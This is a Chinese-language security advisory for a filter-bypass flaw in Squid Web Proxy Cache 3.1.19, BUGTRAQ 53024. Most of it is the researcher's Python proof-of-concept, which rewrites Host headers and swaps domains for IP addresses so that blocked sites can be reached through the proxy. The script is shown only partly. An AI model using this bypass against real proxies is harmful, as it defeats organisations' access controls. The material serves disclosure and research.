发布日期：2012-04-16
更新日期：2012-04-17
受影响系统：
Squid Web Proxy Cache 3.1.19
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 53024
Squid是一个高效的Web缓存及代理程序，最初是为Unix平台开发的，现在也被移植到Linux和大多数的Unix类系统中，最新的Squid可以运行在Windows平台下。
Squid Proxy在过滤规则的实现上存在安全漏洞，成功攻击可允许攻击者绕过某些安全限制。
<*来源：Gabriel Menezes Nunes （gab.mnunes@gmail.com）
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Gabriel Menezes Nunes （gab.mnunes@gmail.com）提供了如下测试方法：
import socket,struct,sys,time
from threading import Thread
#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything else.
#It trusts on the HTTP Header and it can be modified by the attacker.
timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port
def handle(client,globalSock):
client.settimeout(timeOut)
global hostNameG
while 1:
dados = ""
tam = 0
while 1:
try:
dados2 = client.recv(1024)
tam = tam + len(dados2)
dados = dados + dados2
except socket.timeout:
break
dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
if dd != -1:
dd2 = dados.find(":")
hostName = dados[dd+8:dd2]
ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
pacote = dados
hostHeader = "Host: " + hostName
pacote = pacote.replace(hostHeader, "Host: ") #changing the host field with a value that is accepted by the proxy
pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
dados = pacote
getd = dados.find("GET ")
getd2 = dados.find("//")
getd3 = dados.find("/", getd2+2)
hostName = dados[getd2+2:getd3]
if getd != -1:
globalSock.close()
globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
globalSock.connect((proxyAddr,proxyPort))
globalSock.settimeout(timeOut)
getd2 = dados.find("//")
getd3 = dados.find("/", getd2+2)
hostName = dados[getd2+2:getd3]
proxyAuth = ""
proxyAuthN = dados.find("Proxy-Authorization:")
if proxyAuthN != -1:
proxyAuthNN = dados.find("\r\n", proxyAuthN)
proxyAuth = dados[proxyAuthN:proxyAuthNN]
ipAddr = socket.gethostbyname(hostName)
info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
if proxyAuthN != -1:
info += proxyAuth + "\r\n"
info += "Host: \r\n\r\n"
globalSock.send(info)
tam = 0
gdata = ""
while 1:
try:
gdata2 = globalSock.recv(1024)
tam = tam + len(gdata2)
gdata = gdata + gdata2
if len(gdata2) == 0:
break
except socket.timeout:
break
globalSock.send(dados)
tam = 0
gdata = ""
while 1:
try:
gdata2 = globalSock.recv(1024)
if len(gdata2) > 0:
client.send(gdata2)
tam = tam + len(gdata2)
gdata = gdata + gdata2
if len(gdata2) == 0:
break
except socket.timeout:
break